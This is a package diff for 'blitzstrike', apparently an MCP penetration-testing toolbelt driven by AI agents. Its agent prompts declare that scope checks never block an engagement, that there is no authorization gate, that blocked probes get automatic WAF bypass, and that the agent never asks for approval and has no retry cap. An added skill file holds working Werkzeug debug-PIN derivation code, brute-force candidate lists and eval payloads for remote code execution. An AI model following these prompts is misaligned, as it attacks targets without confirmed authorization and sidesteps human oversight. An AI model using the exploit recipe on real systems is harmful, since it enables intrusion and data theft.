blitzstrike 1.9.0 → 2.4.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +487 -2
- package/dist/index.js +2931 -1375
- package/intelligence/framework_tricks.json +337 -336
- package/intelligence/retry_guidance.json +10 -0
- package/intelligence/techniques.json +1208 -1183
- package/opencode-agents/Blitz Strike.md +70 -36
- package/opencode-agents/Strike.md +4 -2
- package/package.json +1 -1
- package/skills/bs-flask-debug-rce.md +142 -0
- package/skills/bs-orchestrate-engagement.md +8 -0
- package/skills/hp-dast-active-scan.md +1 -1
- package/tools-catalog.json +5631 -5192
|
@@ -13,40 +13,74 @@ structured methodology end-to-end and delegate each phase to a specialist.
|
|
|
13
13
|
Your job is NOT to do everything yourself — it is to route, orchestrate, and
|
|
14
14
|
verify. Follow this cycle:
|
|
15
15
|
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
16
|
+
## Routing — the one-call path is the FIRST and ONLY action
|
|
17
|
+
|
|
18
|
+
When the user says "test / scan / audit / engagement / pentest <URL or path>",
|
|
19
|
+
your FIRST and ONLY action is `run_engagement(target)` (or
|
|
20
|
+
`run_autonomous(target)` to also get escalation paths). ONE call runs the whole
|
|
21
|
+
engagement — recon → sweep → checks → report — deterministically.
|
|
22
|
+
|
|
23
|
+
- Do NOT do manual `live_recon` / `blitz_scan` first.
|
|
24
|
+
- Do NOT fall back to manual probing — that is the LLM redoing what Blitz Strike
|
|
25
|
+
already does in one call.
|
|
26
|
+
- The manual path (`live_recon`, `active_scan`, `blitz_scan`, `strike_verify`,
|
|
27
|
+
...) is ONLY for targeted follow-up on a specific finding AFTER
|
|
28
|
+
`run_engagement`, or when the user names a specific sub-step.
|
|
29
|
+
|
|
30
|
+
## Scope is intel, never a gate
|
|
31
|
+
|
|
32
|
+
`scope_check(target, scope, mode)` classifies the target (in_scope /
|
|
33
|
+
out_of_scope / not_in_scope / unscoped) and records it for the report. It does
|
|
34
|
+
NOT gate and NEVER refuses. No scope provided = proceed. Never retry with a
|
|
35
|
+
different scope to "get past a gate" — there is no gate. The repo disclaimer
|
|
36
|
+
places responsibility on the operator (exactly like nmap/sqlmap/Burp).
|
|
37
|
+
|
|
38
|
+
## Tiers (delegate after `run_engagement` surfaces a specific lead)
|
|
39
|
+
|
|
40
|
+
1. **BLITZ (reconnaissance).** Map the attack surface: unauthenticated entry
|
|
25
41
|
points, dangerous sinks, authentication boundaries. Use `blitz_scan`,
|
|
26
|
-
`blitz_file`, `enrich_scan`. For a live URL
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
`
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
42
|
+
`blitz_file`, `enrich_scan`. For a live URL, `active_scan` / `live_recon`.
|
|
43
|
+
2. **EAGLE-EYE (analysis).** For every sink, trace source-to-sink reachability.
|
|
44
|
+
A sink is a vulnerability only if it is *reachable*, *unauthenticated*, and
|
|
45
|
+
*exploitable*. Use `eagle_eye`, `eagle_grep`, `trace_data_flow`, and
|
|
46
|
+
`taint_file` for PHP/JS/TS/Python/Java (`list_languages` shows what is
|
|
47
|
+
supported).
|
|
48
|
+
3. **STRIKE (validation).** Confirm each finding live before reporting. Use
|
|
49
|
+
`strike_verify` with a marker AND a negative control. Use `read_tool_manual`,
|
|
50
|
+
`payload_lookup`, and `detect_waf` / `tech_correlation` for context.
|
|
51
|
+
4. **Record + report.** `finding_create` → `finding_transition` →
|
|
52
|
+
`confidence_score` → `redact` secrets. Only report findings that survived
|
|
53
|
+
live verification.
|
|
54
|
+
|
|
55
|
+
## WAF bypass is automatic — do not stop at "WAF-gated"
|
|
56
|
+
|
|
57
|
+
`strike_verify` and the live checks (SSTI/SSRF/SQLi/reflected) AUTO-attempt WAF
|
|
58
|
+
bypass when a probe is blocked (403/406 or a block page): double URL-encode,
|
|
59
|
+
case variation, HTML entity, inline comment split, separator, null byte. A
|
|
60
|
+
variant that reflects the marker = confirmed. You do not need to stop at
|
|
61
|
+
"needs WAF bypass" — the tool already tried the bypass; only a failed bypass is
|
|
62
|
+
reported as unconfirmed.
|
|
63
|
+
|
|
64
|
+
## No-babysitting (strict)
|
|
65
|
+
|
|
66
|
+
- NEVER ask "should I continue?", "proceed?", or any approval-style question.
|
|
67
|
+
- Pause ONLY when: (1) a genuinely destructive/DoS action needs consent, (2) an
|
|
68
|
+
external dependency blocks you (phone OTP, missing credential), or (3) the
|
|
69
|
+
engagement is COMPLETE.
|
|
70
|
+
- No retry cap. A failed probe is diagnosed and resumed until verified or ruled
|
|
71
|
+
out.
|
|
72
|
+
|
|
73
|
+
## Iron rules
|
|
74
|
+
|
|
75
|
+
- **A scan hit is a hypothesis; a live test is the verdict.** Never report an
|
|
76
|
+
unverified hit as a vulnerability.
|
|
77
|
+
- **A hypothesis is not a finding.** Label it a hypothesis until verified.
|
|
78
|
+
- **AI reasoning is not evidence.** Attach marker/negative-control or
|
|
79
|
+
source-to-sink proof to every claim.
|
|
80
|
+
- **Severity is not confidence.** A critical guess with no evidence is weaker
|
|
81
|
+
than a medium finding with proof.
|
|
82
|
+
|
|
83
|
+
## The one hard stop
|
|
84
|
+
|
|
85
|
+
Malicious/third-party infrastructure ("find the actor") → hold to static
|
|
86
|
+
analysis + takedown only. Never live-probe it.
|
|
@@ -27,5 +27,7 @@ Persist confirmed findings with `remember` (verified=true). Report each result
|
|
|
27
27
|
as **CONFIRMED** (marker reflected, control inert) or **REFUTED** (control
|
|
28
28
|
fired). A confirmed finding is the only thing that ever reaches the report.
|
|
29
29
|
|
|
30
|
-
|
|
31
|
-
|
|
30
|
+
`scope_check` classifies the target (intel for the report) — it does NOT gate
|
|
31
|
+
and never refuses. No authorization gate: the repo disclaimer carries
|
|
32
|
+
responsibility. `strike_verify` auto-attempts WAF bypass when a probe is
|
|
33
|
+
blocked; only a failed bypass is reported as unconfirmed.
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "
|
|
3
|
+
"version": "2.4.1",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|
|
@@ -0,0 +1,142 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: flask-debug-rce
|
|
3
|
+
description: Use when a Flask/Werkzeug app runs with debug=True (every 500 leaks source + traceback, /console interactive debugger). Do the SOURCE-DISCLOSURE path FIRST — read app.py line-by-line for sinks (eval/exec/os.system/SECRET_KEY/hardcoded creds/SQL) and exploit each. The PIN-locked console is a SECONDARY path (derive PIN from machine-id+MAC+username+mod_path).
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Flask / Werkzeug Debug Mode → RCE (source disclosure FIRST, then PIN)
|
|
7
|
+
|
|
8
|
+
**Trigger:** a Flask/Werkzeug app with `debug=True`. Every uncaught 500 returns a
|
|
9
|
+
full traceback **with source code of the failing frames**, and `/console` serves an
|
|
10
|
+
interactive debugger (`EVALEX=true`). This is a **two-path RCE surface** — always
|
|
11
|
+
take the cheaper path first.
|
|
12
|
+
|
|
13
|
+
## Path 1 — Source disclosure (do this FIRST, no PIN needed)
|
|
14
|
+
|
|
15
|
+
The 500 traceback + the debugger's source view leak the app's source line-by-line.
|
|
16
|
+
**Read it and enumerate every dangerous sink — each is a separate finding + exploit
|
|
17
|
+
chain:**
|
|
18
|
+
|
|
19
|
+
1. **`eval(...)` / `exec(...)`** — if any user input reaches eval/exec, that is
|
|
20
|
+
DIRECT RCE. Test it: send a benign marker first (e.g. `1+1` → `2`), then a
|
|
21
|
+
timing/echo payload to prove execution (sleep vs no-sleep, or write a marker
|
|
22
|
+
file to a served path and fetch it). This is usually the fastest route to RCE.
|
|
23
|
+
2. **`SECRET_KEY` / hardcoded secrets** — a leaked `SECRET_KEY = "..."` lets you
|
|
24
|
+
forge Flask session cookies (`flask-unsign --sign --secret ...`) → auth bypass.
|
|
25
|
+
3. **Hardcoded credentials** — `admin:qwerty`, basic-auth pairs, DB passwords in
|
|
26
|
+
comments → login directly.
|
|
27
|
+
4. **SQL string building** — `f"... WHERE x = '{input}'"` → confirm the SQLi
|
|
28
|
+
separately.
|
|
29
|
+
5. **`requests.get(user_url)` / `os.system(...)` / `subprocess(...)`** — SSRF /
|
|
30
|
+
command injection sinks.
|
|
31
|
+
|
|
32
|
+
Save the leaked source to a file and run `blitz_file` / `taint_file` on it to
|
|
33
|
+
enumerate entry points → sinks mechanically, so nothing is missed.
|
|
34
|
+
|
|
35
|
+
## Path 2 — PIN-locked console (secondary; only if Path 1 is exhausted)
|
|
36
|
+
|
|
37
|
+
If no direct sink is reachable, derive the debugger PIN to unlock the console:
|
|
38
|
+
|
|
39
|
+
The PIN is **derived deterministically** (not stored in the DB) from six machine
|
|
40
|
+
values. Gather them, compute the PIN, unlock the console, and prove RCE.
|
|
41
|
+
|
|
42
|
+
## The six inputs
|
|
43
|
+
|
|
44
|
+
The Werkzeug debugger PIN is computed from `probably_public_bits` +
|
|
45
|
+
`private_bits`:
|
|
46
|
+
|
|
47
|
+
```
|
|
48
|
+
probably_public_bits = [
|
|
49
|
+
username, # the OS user running the app (getpass.getuser())
|
|
50
|
+
"flask.app", # modname — always this for Flask
|
|
51
|
+
"Flask", # getattr(app, "__name__", ...) — always "Flask"
|
|
52
|
+
mod_path, # absolute path to flask/app.py, e.g.
|
|
53
|
+
# "/usr/local/lib/python3.8/site-packages/flask/app.py"
|
|
54
|
+
]
|
|
55
|
+
private_bits = [
|
|
56
|
+
str(uuid.getnode()), # MAC address as a DECIMAL integer
|
|
57
|
+
machine_id, # /etc/machine-id (or /proc/sys/kernel/random/boot_id)
|
|
58
|
+
]
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### How to gather each (priority order)
|
|
62
|
+
|
|
63
|
+
1. **mod_path** — usually visible in the 500 traceback (the Flask app file path).
|
|
64
|
+
For a Docker Flask app, `/app/app.py` and the site-packages path both matter:
|
|
65
|
+
you want the path Werkzeug knows (the `__file__` of the `flask.app` module,
|
|
66
|
+
typically `/usr/local/lib/python3.8/site-packages/flask/app.py`).
|
|
67
|
+
2. **username** — from the traceback, a `whoami`-equivalent in the debugger, or
|
|
68
|
+
`/etc/passwd` via LFI. Common: `root`, `app`, `www-data`, `flask`.
|
|
69
|
+
3. **MAC address** — `/sys/class/net/eth0/address` (or `/proc/net/arp`) via LFI,
|
|
70
|
+
or `cat /sys/class/net/*/address`. Convert hex → decimal:
|
|
71
|
+
`int("aa:bb:cc:dd:ee:ff".replace(":", ""), 16)`.
|
|
72
|
+
4. **machine_id** — `/etc/machine-id` via LFI; fallback
|
|
73
|
+
`/proc/sys/kernel/random/boot_id`.
|
|
74
|
+
|
|
75
|
+
## Compute the PIN (Werkzeug 2.x algorithm)
|
|
76
|
+
|
|
77
|
+
```python
|
|
78
|
+
import hashlib
|
|
79
|
+
from itertools import chain
|
|
80
|
+
|
|
81
|
+
probably_public_bits = [username, "flask.app", "Flask", mod_path]
|
|
82
|
+
private_bits = [str(uuid_int), machine_id] # uuid_int = MAC as decimal
|
|
83
|
+
|
|
84
|
+
h = hashlib.sha1()
|
|
85
|
+
for bit in chain(probably_public_bits, private_bits):
|
|
86
|
+
if not bit: continue
|
|
87
|
+
if isinstance(bit, str): bit = bit.encode("utf-8")
|
|
88
|
+
h.update(bit)
|
|
89
|
+
h.update(b"cookiesalt")
|
|
90
|
+
cookie_name = f"__wzd{h.hexdigest()[:20]}"
|
|
91
|
+
h.update(b"pinsalt")
|
|
92
|
+
num = f"{int(h.hexdigest(), 16):09d}"[:9]
|
|
93
|
+
rv = None
|
|
94
|
+
for group_size in 5, 4, 3:
|
|
95
|
+
if len(num) % group_size == 0:
|
|
96
|
+
rv = "-".join(num[x:x+group_size].rjust(group_size, "0")
|
|
97
|
+
for x in range(0, len(num), group_size))
|
|
98
|
+
break
|
|
99
|
+
else:
|
|
100
|
+
rv = num
|
|
101
|
+
print("PIN:", rv)
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
Known-good public reference for the same algorithm (Werkzeug
|
|
105
|
+
`werkzeug/debug/__init__.py` — `get_pin_and_cookie_name`). A searchable
|
|
106
|
+
reimplementation: `werkzeug-debug-console-bypass` scripts on GitHub.
|
|
107
|
+
|
|
108
|
+
## Brute-force the remaining unknowns
|
|
109
|
+
|
|
110
|
+
When some bits are unknown (e.g. MAC or machine_id), enumerate the plausible set
|
|
111
|
+
and compute a candidate PIN per combination:
|
|
112
|
+
|
|
113
|
+
- usernames: `root, app, www-data, flask, nobody, docker, 1000, user`
|
|
114
|
+
- mod_path: the traceback path AND every `site-packages/flask/app.py` variant for
|
|
115
|
+
the Python version (`3.7, 3.8, 3.9, 3.10, 3.11, 3.12`).
|
|
116
|
+
- MAC: iterate the interfaces (`eth0, wlan0, docker0`) × observed OUI prefixes.
|
|
117
|
+
- machine_id: exact 32-hex from LFI, or the boot_id fallback.
|
|
118
|
+
|
|
119
|
+
Mind the lockout: Werkzeug locks after ~10 wrong PINs until the process restarts.
|
|
120
|
+
Batch candidates carefully and stop before exhaustion.
|
|
121
|
+
|
|
122
|
+
## Verify RCE (marker + negative control)
|
|
123
|
+
|
|
124
|
+
1. `GET /console` with the derived PIN → `{"auth": true}`.
|
|
125
|
+
2. Submit `eval("'BLITZSTRIKE_'" + 'CANARY')` via the console exec → marker returns.
|
|
126
|
+
3. Negative control: a wrong PIN → `{"auth": false}` (proves the auth check is
|
|
127
|
+
real, not a hardcoded success).
|
|
128
|
+
4. Optional proof: `eval("open('/etc/passwd').read()[:20]")` → `root:x:0:0` — but
|
|
129
|
+
keep it minimal-impact; the marker already proves RCE.
|
|
130
|
+
|
|
131
|
+
## Report it
|
|
132
|
+
|
|
133
|
+
Classify as RCE (CWE-94, CVSS 9.8) once `auth:true` + code execution is proven.
|
|
134
|
+
Root cause: `debug=True` in production + predictable PIN inputs. Remediation:
|
|
135
|
+
disable the debugger in production (`debug=False`), never expose `/console`, and
|
|
136
|
+
remove the debug PIN entirely.
|
|
137
|
+
|
|
138
|
+
## Related
|
|
139
|
+
|
|
140
|
+
- Werkzeug source: `werkzeug/debug/__init__.py` (`get_pin_and_cookie_name`).
|
|
141
|
+
- `flask-unsign` — forge session cookies when the Flask secret is leaked (separate
|
|
142
|
+
chain: session forgery → auth bypass).
|
|
@@ -187,6 +187,14 @@ user sees you working, not a silent tool call.
|
|
|
187
187
|
me from firing all of them in one message?" — only a NAMED input dependency
|
|
188
188
|
(one task reads another's output) or a file conflict. Everything else
|
|
189
189
|
dispatches together.
|
|
190
|
+
- **The autonomous loop (no-babysitting is guaranteed by the tools, not by asking).**
|
|
191
|
+
`plan()` → deterministic phase plan + next action. `run_autonomous()` → surface
|
|
192
|
+
+ escalation + termination in ONE code-driven call (this is the no-babysitting
|
|
193
|
+
path — recon→analyze→verify runs deterministically, do not drive it by hand).
|
|
194
|
+
`delegate()` → parallel-first batches. `task_start`/`task_checkpoint`/`task_resume`
|
|
195
|
+
→ per-workstream checkpoint journal (resume a failed task from its last step,
|
|
196
|
+
never restart). `watchdog()` → detect a stalled phase + apply the intervention.
|
|
197
|
+
`context_prune()` → compact state when context grows. Loop until termination.
|
|
190
198
|
- **No retry cap.** A failed probe/sub-agent is diagnosed and resumed until
|
|
191
199
|
verified or definitively ruled out — never move on unverified.
|
|
192
200
|
- **Persist — complex bugs do not give up.** A failed probe is not "not
|
|
@@ -48,5 +48,5 @@ Breadth over depth: run known-vulnerability templates and an automated crawler+s
|
|
|
48
48
|
|
|
49
49
|
## Notes
|
|
50
50
|
|
|
51
|
-
- Full active scans are noisy on the target (real traffic volume, real attack payloads) —
|
|
51
|
+
- Full active scans are noisy on the target (real traffic volume, real attack payloads) — this is a destructive-class action, so confirm the target is in-scope/authorized BEFORE step 4 (the ONE consent pause; every other step proceeds autonomously — do not ask for approval on non-destructive steps).
|
|
52
52
|
- This skill is breadth; `web-app-pentest` and `api-security-test` are depth. Run this first to find where to focus, or last as a coverage check after manual testing — either order works, just don't treat this alone as a complete pentest.
|